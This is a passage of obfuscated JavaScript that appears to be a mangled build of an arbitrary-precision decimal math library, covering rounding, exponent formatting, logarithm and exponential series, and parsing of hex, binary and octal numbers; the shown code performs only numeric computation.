_0xa8d4fa = _0x4d730b['length'])) && (_0x8147c4--, _0x2b63f0(_0x3cafa5, _0x1a108b < _0x12b7f6 ? _0x29ba2f : _0xca38dd, _0x12b7f6, _0x4678c5))) : (0x0 == _0x8147c4 && (_0x588ddc = _0x8147c4 = 0x1), _0x3cafa5 = _0xca38dd['slice']()), (_0x12b7f6 = _0x3cafa5['length']) < _0xa8d4fa && _0x3cafa5['unshift'](0x0), _0x2b63f0(_0x4d730b, _0x3cafa5, _0xa8d4fa, _0x4678c5), -0x1 == _0x588ddc && (_0x588ddc = _0x3c69bb(_0xca38dd, _0x4d730b, _0x1a108b, _0xa8d4fa = _0x4d730b['length'])) < 0x1 && (_0x8147c4++, _0x2b63f0(_0x4d730b, _0x1a108b < _0xa8d4fa ? _0x29ba2f : _0xca38dd, _0xa8d4fa, _0x4678c5)), _0xa8d4fa = _0x4d730b['length']) : 0x0 === _0x588ddc && (_0x8147c4++, _0x4d730b = [0x0]), _0x2f50c3[_0xe66a81++] = _0x8147c4, _0x588ddc && _0x4d730b[0x0] ? _0x4d730b[_0xa8d4fa++] = _0x13c5b4[_0x1d2f2a] || 0x0 : (_0x4d730b = [_0x13c5b4[_0x1d2f2a]], _0xa8d4fa = 0x1); } while ((_0x1d2f2a++ < _0x44f12f || void 0x0 !== _0x4d730b[0x0]) && _0x4022dc--); _0x3ec48f = void 0x0 !== _0x4d730b[0x0]; } _0x2f50c3[0x0] || _0x2f50c3['shift'](); } if (0x1 == _0x250243) _0x4bea70['e'] = _0x252734, _0x1f9c0f = _0x3ec48f; else { for (_0xe66a81 = 0x1, _0x8147c4 = _0x2f50c3[0x0]; _0x8147c4 >= 0xa; _0x8147c4 /= 0xa)_0xe66a81++; _0x4bea70['e'] = _0xe66a81 + _0x252734 * _0x250243 - 0x1, _0x3c9fea(_0x4bea70, _0x472026 ? _0x464de5 + _0x4bea70['e'] + 0x1 : _0x464de5, _0x50f2a4, _0x3ec48f); } return _0x4bea70; }; }()); function _0x3c9fea(_0x4e631a, _0x4d304c, _0x1caedb, _0x38e95b) { var _0x24cf32, _0x5b0b00, _0x4d4fc8, _0x25bd98, _0x287785, _0x3f95b5, _0x309227, _0x75de2c, _0x36d473, _0x195e67 = _0x4e631a['constructor']; _0x3c4ad4: if (null != _0x4d304c) { if (!(_0x75de2c = _0x4e631a['d'])) return _0x4e631a; for (_0x24cf32 = 0x1, _0x25bd98 = _0x75de2c[0x0]; _0x25bd98 >= 0xa; _0x25bd98 /= 0xa)_0x24cf32++; if ((_0x5b0b00 = _0x4d304c - _0x24cf32) < 0x0) _0x5b0b00 += _0x5bfb2e, _0x4d4fc8 = _0x4d304c, _0x287785 = (_0x309227 = _0x75de2c[_0x36d473 = 0x0]) / _0x5ac844(0xa, _0x24cf32 - _0x4d4fc8 - 0x1) % 0xa | 0x0; else { if ((_0x36d473 = Math['ceil']((_0x5b0b00 + 0x1) / _0x5bfb2e)) >= (_0x25bd98 = _0x75de2c['length'])) { if (!_0x38e95b) break _0x3c4ad4; for (; _0x25bd98++ <= _0x36d473;)_0x75de2c['push'](0x0); _0x309227 = _0x287785 = 0x0, _0x24cf32 = 0x1, _0x4d4fc8 = (_0x5b0b00 %= _0x5bfb2e) - _0x5bfb2e + 0x1; } else { for (_0x309227 = _0x25bd98 = _0x75de2c[_0x36d473], _0x24cf32 = 0x1; _0x25bd98 >= 0xa; _0x25bd98 /= 0xa)_0x24cf32++; _0x287785 = (_0x4d4fc8 = (_0x5b0b00 %= _0x5bfb2e) - _0x5bfb2e + _0x24cf32) < 0x0 ? 0x0 : _0x309227 / _0x5ac844(0xa, _0x24cf32 - _0x4d4fc8 - 0x1) % 0xa | 0x0; } } if (_0x38e95b = _0x38e95b || _0x4d304c < 0x0 || void 0x0 !== _0x75de2c[_0x36d473 + 0x1] || (_0x4d4fc8 < 0x0 ? _0x309227 : _0x309227 % _0x5ac844(0xa, _0x24cf32 - _0x4d4fc8 - 0x1)), _0x3f95b5 = _0x1caedb < 0x4 ? (_0x287785 || _0x38e95b) && (0x0 == _0x1caedb || _0x1caedb == (_0x4e631a['s'] < 0x0 ? 0x3 : 0x2)) : _0x287785 > 0x5 || 0x5 == _0x287785 && (0x4 == _0x1caedb || _0x38e95b || 0x6 == _0x1caedb && (_0x5b0b00 > 0x0 ? _0x4d4fc8 > 0x0 ? _0x309227 / _0x5ac844(0xa, _0x24cf32 - _0x4d4fc8) : 0x0 : _0x75de2c[_0x36d473 - 0x1]) % 0xa & 0x1 || _0x1caedb == (_0x4e631a['s'] < 0x0 ? 0x8 : 0x7)), _0x4d304c < 0x1 || !_0x75de2c[0x0]) return _0x75de2c['length'] = 0x0, _0x3f95b5 ? (_0x4d304c -= _0x4e631a['e'] + 0x1, _0x75de2c[0x0] = _0x5ac844(0xa, (_0x5bfb2e - _0x4d304c % _0x5bfb2e) % _0x5bfb2e), _0x4e631a['e'] = -_0x4d304c || 0x0) : _0x75de2c[0x0] = _0x4e631a['e'] = 0x0, _0x4e631a; if (0x0 == _0x5b0b00 ? (_0x75de2c['length'] = _0x36d473, _0x25bd98 = 0x1, _0x36d473--) : (_0x75de2c['length'] = _0x36d473 + 0x1, _0x25bd98 = _0x5ac844(0xa, _0x5bfb2e - _0x5b0b00), _0x75de2c[_0x36d473] = _0x4d4fc8 > 0x0 ? (_0x309227 / _0x5ac844(0xa, _0x24cf32 - _0x4d4fc8) % _0x5ac844(0xa, _0x4d4fc8) | 0x0) * _0x25bd98 : 0x0), _0x3f95b5) for (; ;) { if (0x0 == _0x36d473) { for (_0x5b0b00 = 0x1, _0x4d4fc8 = _0x75de2c[0x0]; _0x4d4fc8 >= 0xa; _0x4d4fc8 /= 0xa)_0x5b0b00++; for (_0x4d4fc8 = _0x75de2c[0x0] += _0x25bd98, _0x25bd98 = 0x1; _0x4d4fc8 >= 0xa; _0x4d4fc8 /= 0xa)_0x25bd98++; _0x5b0b00 != _0x25bd98 && (_0x4e631a['e']++, _0x75de2c[0x0] == _0x3ec071 && (_0x75de2c[0x0] = 0x1)); break; } if (_0x75de2c[_0x36d473] += _0x25bd98, _0x75de2c[_0x36d473] != _0x3ec071) break; _0x75de2c[_0x36d473--] = 0x0, _0x25bd98 = 0x1; } for (_0x5b0b00 = _0x75de2c['length']; 0x0 === _0x75de2c[--_0x5b0b00];)_0x75de2c['pop'](); } return _0x636246 && (_0x4e631a['e'] > _0x195e67['maxE'] ? (_0x4e631a['d'] = null, _0x4e631a['e'] = NaN) : _0x4e631a['e'] < _0x195e67['minE'] && (_0x4e631a['e'] = 0x0, _0x4e631a['d'] = [0x0])), _0x4e631a; } function _0x1098c8(_0x4c8171, _0x1abdf2, _0x268699) { if (!_0x4c8171['isFinite']()) return _0x1a7bbb(_0x4c8171); var _0x7d9aea, _0x4bdc6d = _0x4c8171['e'], _0x127153 = _0x1d6276(_0x4c8171['d']), _0x159aa5 = _0x127153['length']; return _0x1abdf2 ? (_0x268699 && (_0x7d9aea = _0x268699 - _0x159aa5) > 0x0 ? _0x127153 = _0x127153['charAt'](0x0) + '.' + _0x127153['slice'](0x1) + _0x36534b(_0x7d9aea) : _0x159aa5 > 0x1 && (_0x127153 = _0x127153['charAt'](0x0) + '.' + _0x127153['slice'](0x1)), _0x127153 = _0x127153 + (_0x4c8171['e'] < 0x0 ? 'e' : 'e+') + _0x4c8171['e']) : _0x4bdc6d < 0x0 ? (_0x127153 = '0.' + _0x36534b(-_0x4bdc6d - 0x1) + _0x127153, _0x268699 && (_0x7d9aea = _0x268699 - _0x159aa5) > 0x0 && (_0x127153 += _0x36534b(_0x7d9aea))) : _0x4bdc6d >= _0x159aa5 ? (_0x127153 += _0x36534b(_0x4bdc6d + 0x1 - _0x159aa5), _0x268699 && (_0x7d9aea = _0x268699 - _0x4bdc6d - 0x1) > 0x0 && (_0x127153 = _0x127153 + '.' + _0x36534b(_0x7d9aea))) : ((_0x7d9aea = _0x4bdc6d + 0x1) < _0x159aa5 && (_0x127153 = _0x127153['slice'](0x0, _0x7d9aea) + '.' + _0x127153['slice'](_0x7d9aea)), _0x268699 && (_0x7d9aea = _0x268699 - _0x159aa5) > 0x0 && (_0x4bdc6d + 0x1 === _0x159aa5 && (_0x127153 += '.'), _0x127153 += _0x36534b(_0x7d9aea))), _0x127153; } function _0x47f701(_0x1f6ead, _0x1a5542) { var _0x3197b6 = _0x1f6ead[0x0]; for (_0x1a5542 *= _0x5bfb2e; _0x3197b6 >= 0xa; _0x3197b6 /= 0xa)_0x1a5542++; return _0x1a5542; } function _0x59d337(_0x867fad, _0x5b24f2, _0x4474e3) { if (_0x5b24f2 > _0x1793a7) throw _0x636246 = !0x0, _0x4474e3 && (_0x867fad['precision'] = _0x4474e3), Error(_0x291915); return _0x3c9fea(new _0x867fad(_0x15c4c8), _0x5b24f2, 0x1, !0x0); } function _0x2d743f(_0x46c174, _0x2b5e3f, _0x18f49f) { if (_0x2b5e3f > _0x513453) throw Error(_0x291915); return _0x3c9fea(new _0x46c174(_0x44fa14), _0x2b5e3f, _0x18f49f, !0x0); } function _0x462787(_0xbda6cf) { var _0x473531 = _0xbda6cf['length'] - 0x1, _0x55f973 = _0x473531 * _0x5bfb2e + 0x1; if (_0x473531 = _0xbda6cf[_0x473531]) { for (; _0x473531 % 0xa == 0x0; _0x473531 /= 0xa)_0x55f973--; for (_0x473531 = _0xbda6cf[0x0]; _0x473531 >= 0xa; _0x473531 /= 0xa)_0x55f973++; } return _0x55f973; } function _0x36534b(_0x52d359) { for (var _0x20d7f4 = ''; _0x52d359--;)_0x20d7f4 += '0'; return _0x20d7f4; } function _0x55b7dc(_0x55dca2, _0x28076b, _0xb9c014, _0x552186) { var _0x2859b6, _0x490128 = new _0x55dca2(0x1), _0x5ba566 = Math['ceil'](_0x552186 / _0x5bfb2e + 0x4); for (_0x636246 = !0x1; ;) { if (_0xb9c014 % 0x2 && _0x65d91e((_0x490128 = _0x490128['times'](_0x28076b))['d'], _0x5ba566) && (_0x2859b6 = !0x0), 0x0 === (_0xb9c014 = _0x4ffe16(_0xb9c014 / 0x2))) { _0xb9c014 = _0x490128['d']['length'] - 0x1, _0x2859b6 && 0x0 === _0x490128['d'][_0xb9c014] && ++_0x490128['d'][_0xb9c014]; break; } _0x65d91e((_0x28076b = _0x28076b['times'](_0x28076b))['d'], _0x5ba566); } return _0x636246 = !0x0, _0x490128; } function _0x3aa55c(_0x5a3f62) { return 0x1 & _0x5a3f62['d'][_0x5a3f62['d']['length'] - 0x1]; } function _0xc6a98f(_0x1c3d11, _0x1aa6cc, _0x5a6ea8) { for (var _0xb4354, _0x4124be = new _0x1c3d11(_0x1aa6cc[0x0]), _0x4dba56 = 0x0; ++_0x4dba56 < _0x1aa6cc['length'];) { if (!(_0xb4354 = new _0x1c3d11(_0x1aa6cc[_0x4dba56]))['s']) { _0x4124be = _0xb4354; break; } _0x4124be[_0x5a6ea8](_0xb4354) && (_0x4124be = _0xb4354); } return _0x4124be; } function _0x4fa14a(_0xddee7d, _0x4b7eb7) { var _0x1e5cf2, _0x1c4a76, _0x366e65, _0x2a8c31, _0x25af5e, _0x6f8c82, _0x4cbe35, _0x95f7df = 0x0, _0x2bcd72 = 0x0, _0x2b5f0e = 0x0, _0x5d6df4 = _0xddee7d['constructor'], _0x29024e = _0x5d6df4['rounding'], _0x1fc0a9 = _0x5d6df4['precision']; if (!_0xddee7d['d'] || !_0xddee7d['d'][0x0] || _0xddee7d['e'] > 0x11) return new _0x5d6df4(_0xddee7d['d'] ? _0xddee7d['d'][0x0] ? _0xddee7d['s'] < 0x0 ? 0x0 : 0x1 / 0x0 : 0x1 : _0xddee7d['s'] ? _0xddee7d['s'] < 0x0 ? 0x0 : _0xddee7d : NaN); for (null == _0x4b7eb7 ? (_0x636246 = !0x1, _0x4cbe35 = _0x1fc0a9) : _0x4cbe35 = _0x4b7eb7, _0x6f8c82 = new _0x5d6df4(0.03125); _0xddee7d['e'] > -0x2;)_0xddee7d = _0xddee7d['times'](_0x6f8c82), _0x2b5f0e += 0x5; for (_0x4cbe35 += _0x1c4a76 = Math['log'](_0x5ac844(0x2, _0x2b5f0e)) / Math['LN10'] * 0x2 + 0x5 | 0x0, _0x1e5cf2 = _0x2a8c31 = _0x25af5e = new _0x5d6df4(0x1), _0x5d6df4['precision'] = _0x4cbe35; ;) { if (_0x2a8c31 = _0x3c9fea(_0x2a8c31['times'](_0xddee7d), _0x4cbe35, 0x1), _0x1e5cf2 = _0x1e5cf2['times'](++_0x2bcd72), _0x1d6276((_0x6f8c82 = _0x25af5e['plus'](_0x226822(_0x2a8c31, _0x1e5cf2, _0x4cbe35, 0x1)))['d'])['slice'](0x0, _0x4cbe35) === _0x1d6276(_0x25af5e['d'])['slice'](0x0, _0x4cbe35)) { for (_0x366e65 = _0x2b5f0e; _0x366e65--;)_0x25af5e = _0x3c9fea(_0x25af5e['times'](_0x25af5e), _0x4cbe35, 0x1); if (null != _0x4b7eb7) return _0x5d6df4['precision'] = _0x1fc0a9, _0x25af5e; if (!(_0x95f7df < 0x3 && _0x6d88b9(_0x25af5e['d'], _0x4cbe35 - _0x1c4a76, _0x29024e, _0x95f7df))) return _0x3c9fea(_0x25af5e, _0x5d6df4['precision'] = _0x1fc0a9, _0x29024e, _0x636246 = !0x0); _0x5d6df4['precision'] = _0x4cbe35 += 0xa, _0x1e5cf2 = _0x2a8c31 = _0x6f8c82 = new _0x5d6df4(0x1), _0x2bcd72 = 0x0, _0x95f7df++; } _0x25af5e = _0x6f8c82; } } function _0x42464e(_0x4c7016, _0x271974) { var _0x1200b8, _0xb5b037, _0x5e11bd, _0x78e72a, _0x5e96e1, _0x28e5fd, _0x2e6c3d, _0x4f41b6, _0x3173da, _0x3cbb14, _0x5aa9f2, _0x128307 = 0x1, _0x56bfc4 = _0x4c7016, _0x5b45e8 = _0x56bfc4['d'], _0x2d1a69 = _0x56bfc4['constructor'], _0x376847 = _0x2d1a69['rounding'], _0x263480 = _0x2d1a69['precision']; if (_0x56bfc4['s'] < 0x0 || !_0x5b45e8 || !_0x5b45e8[0x0] || !_0x56bfc4['e'] && 0x1 == _0x5b45e8[0x0] && 0x1 == _0x5b45e8['length']) return new _0x2d1a69(_0x5b45e8 && !_0x5b45e8[0x0] ? -0x1 / 0x0 : 0x1 != _0x56bfc4['s'] ? NaN : _0x5b45e8 ? 0x0 : _0x56bfc4); if (null == _0x271974 ? (_0x636246 = !0x1, _0x3173da = _0x263480) : _0x3173da = _0x271974, _0x2d1a69['precision'] = _0x3173da += 0xa, _0xb5b037 = (_0x1200b8 = _0x1d6276(_0x5b45e8))['charAt'](0x0), !(Math['abs'](_0x78e72a = _0x56bfc4['e']) < 0x5543df729c000)) return _0x4f41b6 = _0x59d337(_0x2d1a69, _0x3173da + 0x2, _0x263480)['times'](_0x78e72a + ''), _0x56bfc4 = _0x42464e(new _0x2d1a69(_0xb5b037 + '.' + _0x1200b8['slice'](0x1)), _0x3173da - 0xa)['plus'](_0x4f41b6), _0x2d1a69['precision'] = _0x263480, null == _0x271974 ? _0x3c9fea(_0x56bfc4, _0x263480, _0x376847, _0x636246 = !0x0) : _0x56bfc4; for (; _0xb5b037 < 0x7 && 0x1 != _0xb5b037 || 0x1 == _0xb5b037 && _0x1200b8['charAt'](0x1) > 0x3;)_0xb5b037 = (_0x1200b8 = _0x1d6276((_0x56bfc4 = _0x56bfc4['times'](_0x4c7016))['d']))['charAt'](0x0), _0x128307++; for (_0x78e72a = _0x56bfc4['e'], _0xb5b037 > 0x1 ? (_0x56bfc4 = new _0x2d1a69('0.' + _0x1200b8), _0x78e72a++) : _0x56bfc4 = new _0x2d1a69(_0xb5b037 + '.' + _0x1200b8['slice'](0x1)), _0x3cbb14 = _0x56bfc4, _0x2e6c3d = _0x5e96e1 = _0x56bfc4 = _0x226822(_0x56bfc4['minus'](0x1), _0x56bfc4['plus'](0x1), _0x3173da, 0x1), _0x5aa9f2 = _0x3c9fea(_0x56bfc4['times'](_0x56bfc4), _0x3173da, 0x1), _0x5e11bd = 0x3; ;) { if (_0x5e96e1 = _0x3c9fea(_0x5e96e1['times'](_0x5aa9f2), _0x3173da, 0x1), _0x1d6276((_0x4f41b6 = _0x2e6c3d['plus'](_0x226822(_0x5e96e1, new _0x2d1a69(_0x5e11bd), _0x3173da, 0x1)))['d'])['slice'](0x0, _0x3173da) === _0x1d6276(_0x2e6c3d['d'])['slice'](0x0, _0x3173da)) { if (_0x2e6c3d = _0x2e6c3d['times'](0x2), 0x0 !== _0x78e72a && (_0x2e6c3d = _0x2e6c3d['plus'](_0x59d337(_0x2d1a69, _0x3173da + 0x2, _0x263480)['times'](_0x78e72a + ''))), _0x2e6c3d = _0x226822(_0x2e6c3d, new _0x2d1a69(_0x128307), _0x3173da, 0x1), null != _0x271974) return _0x2d1a69['precision'] = _0x263480, _0x2e6c3d; if (!_0x6d88b9(_0x2e6c3d['d'], _0x3173da - 0xa, _0x376847, _0x28e5fd)) return _0x3c9fea(_0x2e6c3d, _0x2d1a69['precision'] = _0x263480, _0x376847, _0x636246 = !0x0); _0x2d1a69['precision'] = _0x3173da += 0xa, _0x4f41b6 = _0x5e96e1 = _0x56bfc4 = _0x226822(_0x3cbb14['minus'](0x1), _0x3cbb14['plus'](0x1), _0x3173da, 0x1), _0x5aa9f2 = _0x3c9fea(_0x56bfc4['times'](_0x56bfc4), _0x3173da, 0x1), _0x5e11bd = _0x28e5fd = 0x1; } _0x2e6c3d = _0x4f41b6, _0x5e11bd += 0x2; } } function _0x1a7bbb(_0x5106c2) { return String(_0x5106c2['s'] * _0x5106c2['s'] / 0x0); } function _0x27b6c1(_0x38a3b0, _0x2c1b32) { var _0x44a0f2, _0x5d273d, _0x165a77; for ((_0x44a0f2 = _0x2c1b32['indexOf']('.')) > -0x1 && (_0x2c1b32 = _0x2c1b32['replace']('.', '')), (_0x5d273d = _0x2c1b32['search'](/e/i)) > 0x0 ? (_0x44a0f2 < 0x0 && (_0x44a0f2 = _0x5d273d), _0x44a0f2 += +_0x2c1b32['slice'](_0x5d273d + 0x1), _0x2c1b32 = _0x2c1b32['substring'](0x0, _0x5d273d)) : _0x44a0f2 < 0x0 && (_0x44a0f2 = _0x2c1b32['length']), _0x5d273d = 0x0; 0x30 === _0x2c1b32['charCodeAt'](_0x5d273d); _0x5d273d++); for (_0x165a77 = _0x2c1b32['length']; 0x30 === _0x2c1b32['charCodeAt'](_0x165a77 - 0x1); --_0x165a77); if (_0x2c1b32 = _0x2c1b32['slice'](_0x5d273d, _0x165a77)) { if (_0x165a77 -= _0x5d273d, _0x38a3b0['e'] = _0x44a0f2 = _0x44a0f2 - _0x5d273d - 0x1, _0x38a3b0['d'] = [], _0x5d273d = (_0x44a0f2 + 0x1) % _0x5bfb2e, _0x44a0f2 < 0x0 && (_0x5d273d += _0x5bfb2e), _0x5d273d < _0x165a77) { for (_0x5d273d && _0x38a3b0['d']['push'](+_0x2c1b32['slice'](0x0, _0x5d273d)), _0x165a77 -= _0x5bfb2e; _0x5d273d < _0x165a77;)_0x38a3b0['d']['push'](+_0x2c1b32['slice'](_0x5d273d, _0x5d273d += _0x5bfb2e)); _0x2c1b32 = _0x2c1b32['slice'](_0x5d273d), _0x5d273d = _0x5bfb2e - _0x2c1b32['length']; } else _0x5d273d -= _0x165a77; for (; _0x5d273d--;)_0x2c1b32 += '0'; _0x38a3b0['d']['push'](+_0x2c1b32), _0x636246 && (_0x38a3b0['e'] > _0x38a3b0['constructor']['maxE'] ? (_0x38a3b0['d'] = null, _0x38a3b0['e'] = NaN) : _0x38a3b0['e'] < _0x38a3b0['constructor']['minE'] && (_0x38a3b0['e'] = 0x0, _0x38a3b0['d'] = [0x0])); } else _0x38a3b0['e'] = 0x0, _0x38a3b0['d'] = [0x0]; return _0x38a3b0; } function _0x430b7f(_0x360da3, _0x2f4a1f) { var _0x1f0e38, _0x430e16, _0x2542f0, _0xa5974e, _0x25c926, _0x4d54c0, _0x38148e, _0x181fe2, _0x34a8cc; if (_0x2f4a1f['indexOf']('_') > -0x1) { if (_0x2f4a1f = _0x2f4a1f['replace'](/(\d)_(?=\d)/g, '$1'), _0x24ff38['test'](_0x2f4a1f)) return _0x27b6c1(_0x360da3, _0x2f4a1f); } else { if ('Infinity' === _0x2f4a1f || 'NaN' === _0x2f4a1f) return +_0x2f4a1f || (_0x360da3['s'] = NaN), _0x360da3['e'] = NaN, _0x360da3['d'] = null, _0x360da3; } if (_0x17a3c0['test'](_0x2f4a1f)) _0x1f0e38 = 0x10, _0x2f4a1f = _0x2f4a1f['toLowerCase'](); else { if (_0x17cdf4['test'](_0x2f4a1f)) _0x1f0e38 = 0x2; else { if (!_0x438a72['test'](_0x2f4a1f)) throw Error(_0x25bd3c + _0x2f4a1f); _0x1f0e38 = 0x8; } } for ((_0xa5974e = _0x2f4a1f['search'](/p/i)) > 0x0 ? (_0x38148e = +_0x2f4a1f['slice'](_0xa5974e + 0x1), _0x2f4a1f = _0x2f4a1f['substring'](0x2, _0xa5974e)) : _0x2f4a1f = _0x2f4a1f['slice'](0x2), _0x25c926 = (_0xa5974e = _0x2f4a1f['indexOf']('.')) >= 0x0, _0x430e16 = _0x360da3['constructor'], _0x25c926 && (_0xa5974e = (_0x4d54c0 = (_0x2f4a1f = _0x2f4a1f['replace']('.', ''))['length']) - _0xa5974e, _0x2542f0 = _0x55b7dc(_0x430e16, new _0x430e16(_0x1f0e38), _0xa5974e, 0x2 * _0xa5974e)), _0xa5974e = _0x34a8cc = (_0x181fe2 = _0x1ec102(_0x2f4a1f, _0x1f0e38, _0x3ec071))['length'] - 0x1; 0x0 === _0x181fe2[_0xa5974e]; --_0xa5974e)_0x181fe2['pop'](); return _0xa5974e < 0x0 ? new _0x430e16(0x0 * _0x360da3['s']) : (_0x360da3['e'] = _0x47f701(_0x181fe2, _0x34a8cc), _0x360da3['d'] = _0x181fe2, _0x636246 = !0x1, _0x25c926 && (_0x360da3 = _0x226822(_0x360da3, _0x2542f0, 0x4 * _0x4d54c0)), _0x38148e && (_0x360da3 = _0x360da3['times'](Math['abs'](_0x38148e) < 0x36 ? _0x5ac844(0x2, _0x38148e) : _0x36edad['pow'](0x2, _0x38148e))), _0x636246 = !0x0, _0x360da3); } function _0x6b3a98(_0x36a4bc, _0x319c12, _0x4c35bd, _0x16c8df, _0x43080b) { var _0x4cec65, _0x194cbf, _0x483b90, _0x189bd3, _0x515362 = _0x36a4bc['precision'], _0x5aa59f = Math['ceil'](_0x515362 / _0x5bfb2e); for (_0x636246 = !0x1, _0x189bd3 = _0x4c35bd['times'](_0x4c35bd), _0x483b90 = new _0x36a4bc(_0x16c8df); ;) { if (_0x194cbf = _0x226822(_0x483b90['times'](_0x189bd3), new _0x36a4bc(_0x319c12++ * _0x319c12++), _0x515362, 0x1), _0x483b90 = _0x43080b ? _0x16c8df['plus'](_0x194cbf) : _0x16c8df['minus'](_0x194cbf), _0x16c8df = _0x226822(_0x194cbf['times'](_0x189bd3), new _0x36a4bc(_0x319c12++ * _0x319c12++), _0x515362, 0x1), void 0x0 !== (_0x194cbf = _0x483b90['plus'](_0x16c8df))['d'][_0x5aa59f]) { for (_0x4cec65 = _0x5aa59f; _0x194cbf['d'][_0x4cec65] === _0x483b90['d'][_0x4cec65] && _0x4cec65--;); if (-0x1 == _0x4cec65) break; } _0x4cec65 = _0x483b90, _0x483b90 = _0x16c8df, _0x16c8df = _0x194cbf, _0x194cbf = _0x4cec65; } return _0x636246 = !0x0, _0x194cbf['d']['length'] = _0x5aa59f + 0x1, _0x194cbf; } function _0x5060d7(_0x53d1ef, _0x3a0fc3) { for (var _0x4ddca3 = _0x53d1ef; --_0x3a0fc3;)_0x4ddca3 *= _0x53d1ef; return _0x4ddca3; } function _0x563e10(_0x5ab85e, _0x552799) { var _0x1ce178, _0x1f9a01 = _0x552799['s'] < 0x0, _0x21c822 = _0x2d743f(_0x5ab85e, _0x5ab85e['precision'], 0x1), _0x4c08d9 = _0x21c822['times'](0.5); if ((_0x552799 = _0x552799['abs']())['lte'](_0x4c08d9)) return _0x15b4cc = _0x1f9a01 ? 0x4 : 0x1, _0x552799; if ((_0x1ce178 = _0x552799['divToInt'](_0x21c822))['isZero']()) _0x15b4cc = _0x1f9a01 ? 0x3 : 0x2; else { if ((_0x552799 = _0x552799['minus'](_0x1ce178['times'](_0x21c822)))['lte'](_0x4c08d9)) return _0x15b4cc = _0x3aa55c(_0x1ce178) ? _0x1f9a01 ? 0x2 : 0x3 : _0x1f9a01 ? 0x4 : 0x1, _0x552799; _0x15b4cc = _0x3aa55c(_0x1ce178) ? _0x1f9a01 ? 0x1 : 0x4 : _0x1f9a01 ? 0x3 : 0x2; } return _0x552799['minus'](_0x21c822)['abs'](); } function _0x486562(_0x1e6735, _0x515a0b, _0x222b4e, _0xf41fac) { var _0x4fd305, _0x2c2321, _0x1398bb, _0x28a87b, _0x4e78b8, _0x3ba99c, _0x4d21ab, _0x2b05dd, _0x20837b, _0x5bf45c = _0x1e6735['constructor'], _0x4b0064 = void 0x0 !== _0x222b4e; if (_0x4b0064 ? (_0x29125e(_0x222b4e, 0x1, _0x230b1c), void 0x0 === _0xf41fac ? _0xf41fac = _0x5bf45c['rounding'] : _0x29125e(_0xf41fac, 0x0, 0x8)) : (_0x222b4e = _0x5bf45c['precision'], _0xf41fac = _0x5bf45c['rounding']), _0x1e6735['isFinite']()) { for (_0x4b0064 ? (_0x4fd305 = 0x2, 0x10 == _0x515a0b ? _0x222b4e = 0x4 * _0x222b4e - 0x3 : 0x8 == _0x515a0b && (_0x222b4e = 0x3 * _0x222b4e - 0x2)) : _0x4fd305 = _0x515a0b, (_0x1398bb = (_0x4d21ab = _0x1098c8(_0x1e6735))['indexOf']('.')) >= 0x0 && (_0x4d21ab = _0x4d21ab['replace']('.', ''), (_0x20837b = new _0x5bf45c(0x1))['e'] = _0x4d21ab['length'] - _0x1398bb, _0x20837b['d'] = _0x1ec102(_0x1098c8(_0x20837b), 0xa, _0x4fd305), _0x20837b['e'] = _0x20837b['d']['length']), _0x2c2321 = _0x4e78b8 = (_0x2b05dd = _0x1ec102(_0x4d21ab, 0xa, _0x4fd305))['length']; 0x0 == _0x2b05dd[--_0x4e78b8];)_0x2b05dd['pop'](); if (_0x2b05dd[0x0]) { if (_0x1398bb < 0x0 ? _0x2c2321-- : ((_0x1e6735 = new _0x5bf45c(_0x1e6735))['d'] = _0x2b05dd, _0x1e6735['e'] = _0x2c2321, _0x2b05dd = (_0x1e6735 = _0x226822(_0x1e6735, _0x20837b, _0x222b4e, _0xf41fac, 0x0, _0x4fd305))['d'], _0x2c2321 = _0x1e6735['e'], _0x3ba99c = _0x1f9c0f), _0x1398bb = _0x2b05dd[_0x222b4e], _0x28a87b = _0x4fd305 / 0x2, _0x3ba99c = _0x3ba99c || void 0x0 !== _0x2b05dd[_0x222b4e + 0x1], _0x3ba99c = _0xf41fac < 0x4 ? (void 0x0 !== _0x1398bb || _0x3ba99c) && (0x0 === _0xf41fac || _0xf41fac === (_0x1e6735['s'] < 0x0 ? 0x3 : 0x2)) : _0x1398bb > _0x28a87b || _0x1398bb === _0x28a87b && (0x4 === _0xf41fac || _0x3ba99c || 0x6 === _0xf41fac && 0x1 & _0x2b05dd[_0x222b4e - 0x1] || _0xf41fac === (_0x1e6735['s'] < 0x0 ? 0x8 : 0x7)), _0x2b05dd['length'] = _0x222b4e, _0x3ba99c) { for (; ++_0x2b05dd[--_0x222b4e] > _0x4fd305 - 0x1;)_0x2b05dd[_0x222b4e] = 0x0, _0x222b4e || (++_0x2c2321, _0x2b05dd['unshift'](0x1)); } for (_0x4e78b8 = _0x2b05dd['length']; !_0x2b05dd[_0x4e78b8 - 0x1]; --_0x4e78b8); for (_0x1398bb = 0x0, _0x4d21ab = ''; _0x1398bb < _0x4e78b8; _0x1398bb++)_0x4d21ab += _0x440d3a['charAt'](_0x2b05dd[_0x1398bb]); if (_0x4b0064) { if (_0x4e78b8 > 0x1) { if (0x10 == _0x515a0b || 0x8 == _0x515a0b) { for (_0x1398bb = 0x10 == _0x515a0b ? 0x4 : 0x3, --_0x4e78b8; _0x4e78b8 % _0x1398bb; _0x4e78b8++)_0x4d21ab += '0'; for (_0x4e78b8 = (_0x2b05dd = _0x1ec102(_0x4d21ab, _0x4fd305, _0x515a0b))['length']; !_0x2b05dd[_0x4e78b8 - 0x1]; --_0x4e78b8); for (_0x1398bb = 0x1, _0x4d21ab = '1.'; _0x1398bb < _0x4e78b8; _0x1398bb++)_0x4d21ab += _0x440d3a['charAt'](_0x2b05dd[_0x1398bb]); } else _0x4d21ab = _0x4d21ab['charAt'](0x0) + '.' + _0x4d21ab['slice'](0x1); } _0x4d21ab = _0x4d21ab + (_0x2c2321 < 0x0 ? 'p' : 'p+') + _0x2c2321; } else { if (_0x2c2321 < 0x0) { for (; ++_0x2c2321;)_0x4d21ab = '0' + _0x4d21ab; _0x4d21ab = '0.' + _0x4d21ab; } else { if (++_0x2c2321 > _0x4e78b8) { for (_0x2c2321 -= _0x4e78b8; _0x2c2321--;)_0x4d21ab += '0'; } else _0x2c2321 < _0x4e78b8 && (_0x4d21ab = _0x4d21ab['slice'](0x0, _0x2c2321) + '.' + _0x4d21ab['slice'](_0x2c2321)); } } } else _0x4d21ab = _0x4b0064 ? '0p+0' : '0'; _0x4d21ab = (0x10 == _0x515a0b ? '0x' : 0x2 == _0x515a0b ? '0b' : 0x8 == _0x515a0b ? '0o' : '') + _0x4d21ab; } else _0x4d21ab = _0x1a7bbb(_0x1e6735); return _0x1e6735['s'] < 0x0 ? '-' + _0x4d21ab : _0x4d21ab; } function _0x65d91e(_0x311d16, _0x1e0468) { if (_0x311d16['length'] > _0x1e0468) return 